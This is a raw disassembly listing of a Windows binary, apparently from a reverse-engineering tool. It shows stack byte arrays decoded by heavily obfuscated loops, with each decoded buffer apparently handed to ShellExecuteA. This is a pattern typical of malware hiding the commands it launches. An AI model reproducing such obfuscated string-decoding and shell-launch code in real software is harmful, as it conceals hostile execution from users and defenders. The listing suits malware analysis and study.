mov byte [rbp + 0x2b4], Ordinal_60
mov byte [rbp + 0x2b5], reloc.WS2_32.dll_setsockopt
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2b6], xmm0
mov qword [rbp + 0x2c6], rax
mov dword [rbp + 0x2ce], eax
mov byte [rbp + 0x2d2], al
movabs rdi, 0xfdc8d6ddc362be00
movabs rsi, 0xf95a84994a283a00
movabs r14, 0xf07de01057b33200
movzx r11d, byte [rsp + 0x31]
nop dword [rax]
nop word [rax + rax]
mov rdx, qword [0x14023d108]
mov r8, qword [0x14023d100]
nop
mov r9, r13
cmp r9, 0x33
jae 0x1400c2106
movzx r10d, byte [rbp + r9 + 0x2a0]
mov ebx, r10d
nop dword [rax]
cmp rdx, r9
ja 0x1400c20fd
lea rax, [r8 + 1]
cmp rdx, rax
jae 0x1400c1b68
lea rcx, [r9 + rdi]
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
jmp 0x1400c1ba2
je 0x1400c20a4
lea rax, [r8 + 3]
cmp rdx, rax
je 0x1400c202b
lea rax, [r8 + 5]
cmp rdx, rax
je 0x1400c1fdf
lea rax, [r8 + 2]
cmp rdx, rax
je 0x1400c1fc1
lea rax, [r8 + 6]
cmp rdx, rax
je 0x1400c1f86
cmp r8, r9
ja 0x1400c20f4
lea rax, [r8 + 0x200]
cmp rdx, rax
jae 0x1400c1bcc
movzx ecx, r9b
and cl, r10b
add cl, cl
movzx r11d, r9b
sub r11b, cl
add r11b, r10b
jmp 0x1400c1c10
lea rcx, [r8 + 1]
cmp rdx, rcx
je 0x1400c1f86
lea rax, [r8 + 3]
cmp rdx, rax
je 0x1400c1fc1
lea rax, [r8 + 5]
cmp rdx, rax
je 0x1400c1e99
lea rax, [rcx + 1]
cmp rdx, rax
je 0x1400c1e01
lea rax, [r8 + 6]
cmp rdx, rax
je 0x1400c1dce
nop dword [rax]
lea rax, [r8 + rdx]
cmp rax, r9
jbe 0x1400c1da1
nop dword [rax]
lea rax, [r8 + 8]
cmp rdx, rax
je 0x1400c1f86
lea rax, [r8 + 2]
cmp rdx, rax
je 0x1400c1d80
lea rax, [r8 + 0x7a]
cmp rdx, rax
je 0x1400c1fc1
lea rax, [r8 + 0x200]
cmp rdx, rax
je 0x1400c1fdf
lea rax, [r8 + 3]
cmp rdx, rax
je 0x1400c1e22
lea rax, [r8 + 0x41]
cmp rdx, rax
je 0x1400c1e99
lea rax, [r8 + 0x3e8]
cmp rdx, rax
je 0x1400c1e01
lea rcx, [r8 + 0x40]
cmp rdx, rcx
je 0x1400c1d68
lea rax, [r8 + 9]
cmp rdx, rax
je 0x1400c1dce
mov rdx, rcx
lea r8, [rcx + 0x41]
lea rax, [r8 + 9]
cmp rcx, rax
jb 0x1400c20df
lea rax, [r8 + 3]
cmp rcx, rax
jb 0x1400c20ca
lea rcx, [r8 + 0x41]
cmp rdx, rcx
jb 0x1400c1d50
lea rax, [r8 + 0x3e8]
cmp rdx, rax
jb 0x1400c1d38
lea rax, [r8 + 0x40]
cmp rdx, rax
jb 0x1400c1bb7
mov rdx, rcx
lea r8, [rcx + 9]
lea rax, [r8 + 0x3e8]
cmp rcx, rax
ja 0x1400c1dce
lea rax, [r8 + 0x40]
cmp rcx, rax
ja 0x1400c1d68
lea rcx, [r8 + 9]
cmp rdx, rcx
ja 0x1400c1e01
lea rax, [r8 + 3]
cmp rdx, rax
ja 0x1400c1e99
lea rax, [r8 + 0x41]
cmp rdx, rax
ja 0x1400c1e22
mov rdx, rcx
lea r8, [rcx + 0x3e8]
jmp 0x1400c1c20
movzx ecx, r9b
and cl, r10b
add cl, cl
movzx r11d, r9b
sub r11b, cl
add r11b, r10b
jmp 0x1400c1ba2
movzx ecx, r9b
and cl, r10b
add cl, cl
movzx r11d, r9b
sub r11b, cl
add r11b, r10b
jmp 0x1400c1b40
movzx ecx, r9b
and cl, r10b
add cl, cl
movzx r11d, r9b
sub r11b, cl
add r11b, r10b
jmp 0x1400c2063
movzx ecx, r9b
and cl, r10b
add cl, cl
movzx r11d, r9b
sub r11b, cl
add r11b, r10b
inc r8
dec r9
inc r9
jmp 0x1400c1b23
lea rax, [r8 + 0x200]
cmp rdx, rax
jae 0x1400c1dc5
movzx ecx, r9b
and cl, r10b
add cl, cl
movzx r11d, r9b
sub r11b, cl
add r11b, r10b
jmp 0x1400c1e47
lea rax, [r8 + 1]
cmp rdx, rax
jne 0x1400c1df8
movzx ecx, r9b
and cl, r10b
add cl, cl
movzx r11d, r9b
sub r11b, cl
add r11b, r10b
movzx eax, byte [rbp + r9 + 0x2a0]
add rax, r8
add r9, rax
inc r9
jmp 0x1400c1b23
lea rax, [r8 + 3]
cmp rdx, rax
jne 0x1400c1e19
movzx ecx, r9b
and cl, r10b
add cl, cl
movzx r11d, r9b
sub r11b, cl
add r11b, r10b
jmp 0x1400c203d
lea rax, [r8 + 4]
cmp rdx, rax
jne 0x1400c1e3a
movzx ecx, r9b
and cl, r10b
add cl, cl
movzx r11d, r9b
sub r11b, cl
add r11b, r10b
jmp 0x1400c200f
lea rax, [r8 + 5]
cmp rdx, rax
je 0x1400c1f86
lea rax, [r8 + rdx]
cmp rax, 8
je 0x1400c1f71
lea rax, [r8 + 0x200]
cmp rdx, rax
jbe 0x1400c1e76
movzx ecx, r9b
and cl, r10b
add cl, cl
movzx r11d, r9b
sub r11b, cl
add r11b, r10b
jmp 0x1400c1ecb
lea rax, [r8 + 1]
cmp rdx, rax
je 0x1400c1f86
lea rax, [r8 + 3]
cmp rdx, rax
je 0x1400c1fc1
lea rax, [r8 + 5]
cmp rdx, rax
jne 0x1400c1eb1
movzx ecx, r9b
and cl, r10b
add cl, cl
movzx r11d, r9b
sub r11b, cl
add r11b, r10b
jmp 0x1400c2012
lea rax, [r8 + 2]
cmp rdx, rax
je 0x1400c1e01
lea rax, [r8 + 6]
cmp rdx, rax
je 0x1400c1dce
cmp rdx, 0x200
jae 0x1400c1f5c
lea rcx, [r8 + 2]
cmp rdx, rcx
jbe 0x1400c1ef6
movzx ecx, r9b
and cl, r10b
add cl, cl
movzx r11d, r9b
sub r11b, cl
add r11b, r10b
jmp 0x1400c1f2e
lea rax, [r8 + 1]
cmp rdx, rax
je 0x1400c1dce
inc rax
cmp rdx, rax
je 0x1400c1e01
lea rax, [r8 + 3]
cmp rdx, rax
je 0x1400c1e22
cmp rdx, rcx
je 0x1400c1fc1
lea rax, [r8 + 9]
cmp rdx, rax
je 0x1400c1f86
cmp r8, 2
jb 0x1400c1f4c
movzx eax, r9b
and al, r10b
add al, al
movzx ecx, r9b
sub cl, al
add cl, r10b
lea r11d, [rcx + rcx]
jmp 0x1400c1f99
mov byte [rbp + r9 + 0x2a0], r11b
inc r9
jmp 0x1400c1b23
movzx eax, r9b
and al, r10b
add al, al
movzx r11d, r9b
sub r11b, al
add r11b, r10b
jmp 0x1400c1fef
movzx ecx, r9b
and cl, r10b
add cl, cl
movzx r11d, r9b
sub r11b, cl
jmp 0x1400c203d
movzx ecx, r9b
and cl, r10b
add cl, cl
movzx r11d, r9b
sub r11b, cl
add r11b, r10b
movzx ecx, r9b
and cl, r10b
add cl, cl
movzx eax, r9b
sub al, cl
add al, r10b
mov byte [rbp + r9 + 0x2a0], al
inc r8
dec r9
inc r9
jmp 0x1400c1b23
movzx ecx, r9b
and cl, r10b
add cl, cl
movzx r11d, r9b
sub r11b, cl
add r11b, r10b
dec r9
inc r9
jmp 0x1400c1b23
movzx ecx, r9b
and cl, r10b
add cl, cl
movzx r11d, r9b
sub r11b, cl
add r11b, r10b
movzx eax, r9b
and al, r10b
add al, al
movzx ecx, r9b
sub cl, al
add cl, r10b
add cl, r11b
mov byte [rbp + r9 + 0x2a0], cl
add rdx, r8
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
inc r9
jmp 0x1400c1b23
lea rcx, [r9 + r14]
and bl, cl
add bl, bl
movzx r11d, r10b
sub r11b, bl
add r11b, cl
movzx ecx, r9b
and cl, r10b
add cl, cl
movzx eax, r9b
sub al, cl
add al, r10b
movzx ecx, al
mov byte [rbp + r9 + 0x2a0], cl
inc r8
add rcx, r8
sub r9, rcx
movzx ecx, r9b
and cl, r10b
add cl, cl
movzx eax, r9b
sub al, cl
add al, r10b
mov byte [rbp + r9 + 0x2a0], al
inc rdx
mov rax, 0xffffffffffffffff
sub rax, rdx
add r9, rax
movzx eax, byte [rbp + r9 + 0x2a0]
add rax, r8
add r9, rax
inc r9
jmp 0x1400c1b23
lea rax, [r9 + rsi]
and bl, al
add bl, bl
sub r10b, bl
lea r11d, [rax + r10]
movzx eax, byte [rbp + r9 + 0x2a0]
add rax, r8
add r9, rax
inc r9
jmp 0x1400c1b23
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea r11d, [r10 + r9]
jmp 0x1400c1b20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea r11d, [r10 + r9]
jmp 0x1400c1b10
lea r8, [rbp + 0x157aaa0]
jmp 0x1400c210d
lea r8, [rbp + 0x13a68a0]
jmp 0x1400c210d
lea r8, [rbp + 0x2a0]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov byte [rbp + 0x5b0], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x5b1], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x5b2], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x5b3], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x5b4], Ordinal_35
mov byte [rbp + 0x5b5], Ordinal_45
mov byte [rbp + 0x5b6], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x5b7], 0xde
mov byte [rbp + 0x5b8], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x5b9], 8
mov byte [rbp + 0x5ba], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x5bb], Ordinal_30
mov byte [rbp + 0x5bc], 5
mov byte [rbp + 0x5bd], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x5be], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x5bf], Ordinal_217
mov byte [rbp + 0x5c0], 3
mov byte [rbp + 0x5c1], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x5c2], reloc.WS2_32.dll_socket
mov byte [rbp + 0x5c3], 0xca
mov byte [rbp + 0x5c4], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x5c5], reloc.WS2_32.dll_listen
mov byte [rbp + 0x5c6], 9
mov byte [rbp + 0x5c7], 9
mov byte [rbp + 0x5c8], 5
mov byte [rbp + 0x5c9], 0xcc
mov byte [rbp + 0x5ca], recv
mov byte [rbp + 0x5cb], 5
mov byte [rbp + 0x5cc], 3
mov byte [rbp + 0x5cd], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x5ce], 0x7b
mov byte [rbp + 0x5cf], reloc.WS2_32.dll_select
mov byte [rbp + 0x5d0], 2
mov byte [rbp + 0x5d1], Ordinal_200
mov byte [rbp + 0x5d2], 0xc0
mov byte [rbp + 0x5d3], 0xbc
mov byte [rbp + 0x5d4], 0xb9
mov byte [rbp + 0x5d5], 0x7b
mov byte [rbp + 0x5d6], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x5d7], 1
mov byte [rbp + 0x5d8], 5
mov byte [rbp + 0x5d9], 0x7b
mov byte [rbp + 0x5da], 0xbf
mov byte [rbp + 0x5db], 0x7e
mov byte [rbp + 0x5dc], 0x79
mov byte [rbp + 0x5dd], recv
mov byte [rbp + 0x5de], 0xb3
mov byte [rbp + 0x5df], 0x61
mov byte [rbp + 0x5e0], 9
mov byte [rbp + 0x5e1], 0x75
mov byte [rbp + 0x5e2], 0x63
mov byte [rbp + 0x5e3], WSASetLastError
mov byte [rbp + 0x5e4], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x5e5], 0xaa
mov byte [rbp + 0x5e6], 0x64
mov byte [rbp + 0x5e7], 0x60
mov byte [rbp + 0x5e8], 0x64
mov byte [rbp + 0x5e9], 0x66
mov byte [rbp + 0x5ea], 0x68
mov byte [rbp + 0x5eb], WSASetLastError
mov byte [rbp + 0x5ec], 0x61
mov byte [rbp + 0x5ed], WSASetLastError
mov byte [rbp + 0x5ee], 0xa3
mov byte [rbp + 0x5ef], WSASetLastError
mov byte [rbp + 0x5f0], WSAGetLastError
mov byte [rbp + 0x5f1], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x5f2], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x5f3], 0x59
mov byte [rbp + 0x5f4], 0x5f
mov byte [rbp + 0x5f5], 0x52
mov byte [rbp + 0x5f6], 0x99
mov byte [rbp + 0x5f7], 0xaf
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x5f8], xmm0
mov qword [rbp + 0x608], rax
mov word [rbp + 0x610], ax
mov byte [rbp + 0x612], al
movabs rsi, 0x25da5741fbe38a1d
movabs r15, 0x8f862cde338c6cb
movabs r14, 0x718f05c5f3aa9e57
movzx r11d, byte [rsp + 0x31]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
mov rdi, r13
cmp rdi, 0x63
jae 0x1400c2e63
movzx ebx, byte [rbp + rdi + 0x5b0]
mov edx, ebx
cmp r8, rdi
ja 0x1400c2e5a
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c23b3
lea rcx, [rdi + rsi]
mov rax, rdx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rdx
add r11, rcx
add r11b, 0x35
jmp 0x1400c23ed
je 0x1400c2df3
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c2d71
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c2d1b
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400c2cfc
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400c2cb3
movzx r10d, dil
cmp r9, rdi
ja 0x1400c2e51
lea rax, [r9 + 0xa]
cmp r8, rax
jae 0x1400c241a
lea ecx, [r10 + 0x61]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x59
jmp 0x1400c2460
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c2c9b
inc rax
cmp r8, rax
je 0x1400c2c7a
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c2c5f
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c2c41
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c2c22
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400c29c7
nop dword [rax]
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c29ac
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c2983
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c2962
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400c2943
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400c2923
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400c2908
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400c28e9
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400c28ca
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400c2899
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400c2470
lea r8, [r9 + 0x5a]
lea r9, [r8 + 0x1000]
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400c2e36
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400c2e1b
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400c2652
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400c2638
lea rcx, [r9 + 0x28]
cmp r8, rcx
jb 0x1400c261e
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400c2847
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400c27ff
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400c27c1
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400c279b
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400c2470
mov r8, rcx
lea r9, [rcx + 0x5a]
lea rax, [r9 + 0x20]
cmp rcx, rax
ja 0x1400c276a
lea rax, [r9 + 0x10]
cmp rcx, rax
ja 0x1400c274b
lea rax, [r9 + 0xa]
cmp rcx, rax
ja 0x1400c272c
lea rax, [r9 + 0x200]
cmp rcx, rax
ja 0x1400c2711
lea rcx, [r9 + 0x80]
cmp r8, rcx
ja 0x1400c26f1
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400c26d3
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400c26b2
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400c2689
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400c266e
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400c2470
mov r8, rcx
lea r9, [rcx + 3]
jmp 0x1400c2470
lea ecx, [r10 - 0x41]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x39
jmp 0x1400c2460
lea ecx, [r10 - 0x7b]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x5d
jmp 0x1400c23f1
add r10b, 0x4b
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0xd
jmp 0x1400c2387
lea edx, [r10 + 8]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x38
jmp 0x1400c2ccd
sub r10b, 0x32
movzx eax, bl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, r10b
inc r9
dec rdi
inc rdi
jmp 0x1400c2373
sub r10b, 0x6c
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
sub r11b, 0xc
dec rdi
inc rdi
jmp 0x1400c2373
lea edx, [r10 + 0x5a]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x76
add r11b, dl
jmp 0x1400c2d34
add r10b, 0x20
movzx eax, bl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, r10b
jmp 0x1400c2d55
sub r10b, 0x1a
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
sub r11b, 0x4a
jmp 0x1400c2d58
lea edx, [r10 - 0x54]
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400c2d87
add r10b, 0x72
movzx eax, bl
and al, r10b
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x1e
add r11b, r10b
jmp 0x1400c2db1
add r10b, 0x38
movzx eax, bl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0x5b0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c2373
sub r10b, 0x59
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
add r11b, 0x6f
mov byte [rbp + rdi + 0x5b0], r11b
inc rdi
jmp 0x1400c2373
lea edx, [r10 + 0x6d]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 5
add r11b, dl
cmp r9, 0x42
jb 0x1400c27b1
lea edx, [r10 - 0x72]
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
add cl, cl
add cl, bl
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x1400c2cd0
lea edx, [r10 + 0x33]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x65
add r11b, dl
cmp r8, 0x10
jae 0x1400c2be0
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x1400c2b51
lea edx, [r10 + 0x4a]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 6
jmp 0x1400c27d7
lea edx, [r10 - 7]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x31
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 6
je 0x1400c2c01
lea rax, [r9 + 0x3e8]
cmp r8, rax
jbe 0x1400c2aba
lea edx, [r10 - 0x17]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x5f
jmp 0x1400c2815
add r10b, 0x46
movzx eax, bl
and al, r10b
mov ecx, listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0x5b0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c2373
add r10b, 0xc
movzx eax, bl
and al, r10b
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x54
add r11b, r10b
jmp 0x1400c2db1
lea edx, [r10 - 0x2e]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400c2d87
sub r10b, 0x68
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
sub r11b, 0x28
jmp 0x1400c2d58
add r10b, 0x5e
movzx eax, bl
and al, r10b
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, r10b
jmp 0x1400c2d55
lea edx, [r10 + 0x24]
movzx eax, bl
and al, dl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400c2d34
sub r10b, 0x16
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
sub r11b, 0x66
dec rdi
inc rdi
jmp 0x1400c2373
sub r10b, 0x50
movzx eax, bl
and al, r10b
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, r10b
inc r9
dec rdi
inc rdi
jmp 0x1400c2373
lea edx, [r10 + 0x76]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x3a
jmp 0x1400c2ccd
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c29eb
lea edx, [r10 + 0x1d]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x35
jmp 0x1400c285d
jne 0x1400c2a19
sub r10b, 0x3e
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
sub r11b, 0x4e
movzx eax, byte [rbp + rdi + 0x5b0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c2373
inc rax
cmp r8, rax
jne 0x1400c2a41
sub r10b, 4
movzx eax, bl
and al, r10b
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, r10b
jmp 0x1400c2db1
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c2a6a
sub r10b, 0x56
movzx eax, bl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, r10b
jmp 0x1400c2d55
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c2a91
lea edx, [r10 - 0x1c]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x3c
add r11b, dl
jmp 0x1400c2d34
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400c2860
lea edx, [r10 - 0x6e]
movzx eax, bl
and al, dl
mov ecx, 1
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400c2ccd
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c2ade
lea edx, [r10 + 0x23]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0xb
jmp 0x1400c2ccd
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c2b02
add r10b, 0xb
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
sub r11b, 0x4d
jmp 0x1400c2d55
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400c2b26
add r10b, 0x45
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
add r11b, 0x1d
jmp 0x1400c2d58
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c2818
lea edx, [r10 + 0x7f]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x79
add r11b, dl
jmp 0x1400c2d87
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c2b8b
sub r10b, 0x7c
movzx eax, bl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0x5b0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c2373
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c2bb4
add r10b, 0x6c
movzx eax, bl
and al, r10b
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, r10b
jmp 0x1400c2d55
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c27da
lea edx, [r10 - 0x5a]
movzx eax, bl
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400c2d34
lea edx, [r10 - 0x38]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x78
add r11b, dl
add r11b, bl
jmp 0x1400c2d34
lea edx, [r10 + 2]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, bl
sub r11b, 0xe
add r11b, dl
jmp 0x1400c2d87
add r10b, 0x31
movzx eax, bl
and al, r10b
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x57
add r11b, r10b
jmp 0x1400c2db1
lea edx, [r10 - 9]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x3f
add r11b, dl
jmp 0x1400c2d87
sub r10b, 0x7d
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
add r11b, 0x6b
jmp 0x1400c2d55
add r10b, 0xf
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
sub r11b, 0x69
dec rdi
inc rdi
jmp 0x1400c2373
lea edx, [r10 - 0x65]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x3d
jmp 0x1400c2ccd
movzx r10d, dil
lea edx, [r10 + 0x27]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x11
add r11b, dl
sub r10b, 0x55
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
add r10b, 0x53
add r10b, bl
mov byte [rbp + rdi + 0x5b0], r10b
inc r9
dec rdi
inc rdi
jmp 0x1400c2373
lea ecx, [rdi - 0x4d]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x1b
dec rdi
inc rdi
jmp 0x1400c2373
movzx r10d, dil
lea ecx, [r10 + 0x79]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4f
sub r10b, 0x1b
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x43
add r10b, r11b
add r10b, bl
mov byte [rbp + rdi + 0x5b0], r10b
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400c2373
lea rax, [rdi + r15]
and dl, al
add dl, dl
sub al, dl
lea r11d, [rbx + rax]
add r11b, 0x73
movzx r10d, dil
add r10b, 0x1f
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
add r10b, 0x27
add r10b, bl
movzx eax, r10b
mov byte [rbp + rdi + 0x5b0], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi + 0x3c]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0x5b0], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x5b0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c2373
lea rax, [rdi + r14]
and dl, al
add dl, dl
sub al, dl
lea r11d, [rbx + rax]
sub r11b, 0x61
movzx eax, byte [rbp + rdi + 0x5b0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c2373
add r10b, 0x11
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
sub r11b, 0x77
jmp 0x1400c2370
sub r10b, 0x29
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
add r11b, 0x1f
jmp 0x1400c2360
lea r8, [rbp + 0x160d12c]
jmp 0x1400c2e6a
lea r8, [rbp + 0x845b49]
jmp 0x1400c2e6a
lea r8, [rbp + 0x5b0]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
xor edx, edx
xor ecx, ecx
